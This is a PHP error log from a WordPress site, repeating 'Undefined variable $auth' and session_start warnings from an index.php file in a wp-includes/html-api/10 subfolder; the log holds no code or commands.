[14-Feb-2026 08:19:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:44 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:44 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:44 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:44 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:44 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:44 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:45 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:47 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:47 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:47 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:47 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:48 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:48 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:48 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:48 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:49 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:49 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:49 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:49 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:50 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:50 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:50 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:50 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:50 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:50 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:51 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:51 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:51 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:51 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:52 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:52 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:52 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:52 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:52 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:52 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:53 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:53 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:54 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:54 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:54 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:54 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:54 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:54 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:54 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:54 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:55 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:55 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:56 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:56 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:56 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:56 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:56 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:56 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:58 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:58 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:58 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:58 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:58 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:58 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:00 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:00 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:00 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:00 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:00 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:00 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:01 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:01 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:03 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:03 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:04 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:04 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:04 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:04 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:05 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:05 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:05 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:05 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:05 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:05 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:07 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:07 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:07 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:07 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:07 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:07 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:19 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:19 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:19 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:19 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:19 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:19 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:20 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:20 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:21 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:21 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:21 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:21 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:27 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:20:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:20:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:20:28 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:28 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:28 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:20:28 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:20:28 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:20:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:35 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:35 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:35 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:35 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:35 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:35 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:37 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:37 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:38 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:38 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:38 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:38 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:39 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:39 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:39 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:39 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:49 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:49 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:49 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:49 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:50 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:50 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:50 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:50 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:51 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:51 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:52 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:52 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:52 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:52 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:55 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:55 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:56 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:56 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:56 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:56 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:58 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:58 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
